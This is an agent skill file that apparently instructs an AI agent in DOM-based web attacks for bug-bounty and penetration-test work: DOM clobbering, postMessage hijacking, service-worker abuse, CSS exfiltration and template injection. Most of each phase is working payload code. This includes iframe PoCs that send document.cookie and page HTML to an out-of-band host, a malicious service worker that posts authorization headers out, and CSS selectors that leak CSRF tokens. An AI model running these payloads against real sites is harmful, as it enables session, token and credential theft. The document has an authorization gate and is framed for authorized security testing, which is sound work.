hunt-dom

Imported from suphiozdedee/projenicdesign.com (.agents/skills/hunt-dom/SKILL.md). Install upstream with npx skills add suphiozdedee/projenicdesign.com --skill hunt-dom. Copyright stays with the author (MIT).

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

Crown Jewel Targets

DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.

Highest-value chains:

• DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no <script>) overwrites a JS global like window.config or shadows document.getElementById, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
• PostMessage no origin check → session theft / DOM-XSS — a message handler that trusts event.data without validating event.origin lets an attacker iframe/opener drive privileged actions or feed a sink.
• Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope fetch → persistent credential capture.
• CSS Exfil — attribute-value selectors (input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.

Grounding — public research this is distilled from

• DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
• DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
• jQuery htmlPrefilter self-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to .html() / .append() mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
• CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential @import recursion to drop the per-char-position constraint).

Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.

Attack Surface Signals

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

Phase 1 — DOM Clobbering

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href

// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});

# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

jQuery angle: if the bundle ships jQuery < 3.5.0, attacker HTML passed to .html()/.append() self-mutates to execute (CVE-2020-11022 / CVE-2020-11023). Confirm version then test <style><style /><img src=x onerror=alert(document.domain)>.

Phase 2 — PostMessage Hijacking

Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin '*' → any framing page reads them.

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null

<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>

<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

False-positive guard: a handler with a partial check (origin.indexOf('target.com')>-1, endsWith('target.com'), regex target\.com) is still vulnerable — bypass with target.com.evil.com or eviltarget.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.

PostMessage handler race — win the message before origin is set

Beyond static origin/sender checks: some handlers trust the FIRST message, or read event.origin while it is still ""/null during frame load. Race it — flood postMessage in a tight loop during iframe/popup load, or fire from about:blank before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356.

Phase 3 — Service Worker Abuse

Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling register(). A cross-origin script URL (https://evil.com/sw.js) throws SecurityError — there is no header that enables cross-origin SW script registration. Service-Worker-Allowed only widens the scope a same-origin script may control, not where the script may live.

So the realistic path is: get a SW script onto the target origin (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with text/javascript, or an existing route under your control), then register it from same-origin XSS.

# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
  curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type

// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.

Phase 4 — CSS Injection / Exfiltration

# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.

Scope caveat (corrects an overstatement): CSS exfil bypasses CSP that blocks script execution — it does not bypass a CSP whose style-src / img-src / default-src / connect-src restricts external origins, or form-action. If img-src 'self' is set, url(https://OOB/...) is blocked. Always read the live Content-Security-Policy header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.

/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }

# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.

Validation: the proof is OOB hits, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).

Phase 5 — dangerouslySetInnerHTML / framework sinks

grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

Phase 6 — Client-Side Template Injection

# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
#   {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)

Chain Table

Tools

# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any tool URL before citing it in a report; do not paste unverified repo links.

Validation (false-positive discipline)

Match the repo standard: a technique that fires in DevTools is not a finding until impact is OOB-confirmed and state-proven.

• DOM Clobbering — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
• PostMessage — distinguish a missing check from a weak one; bypass weak checks from a look-alike origin and capture via OOB. A noisy message log alone is not proof — show the privileged action or token exfil.
• CSS exfil — OOB callback per correct character is the only proof. Read CSP first: img-src/style-src/connect-src/default-src restricting external origins kills it. A blocked url() is indistinguishable from success in the Network tab — confirm on the Collaborator side.
• Service Worker — registration must be same-origin script; a SecurityError means you cited the wrong origin. Prove persistence (close tabs → reopen → fresh OOB hit, no XSS re-fire).
• General — unique per-test markers (btoa(domain)+nonce) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.

Severity:

• Same-origin Service Worker → persistent credential intercept: Critical
• PostMessage data → DOM-XSS / token theft → ATO: High–Critical
• DOM Clobbering → DOM-XSS reaching auth/session: High
• CSS exfil of CSRF token (OOB-proven) → CSRF: Medium (raise if the chained CSRF is account-critical)

When to Use

• You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
• You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

• Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
• Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
• Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.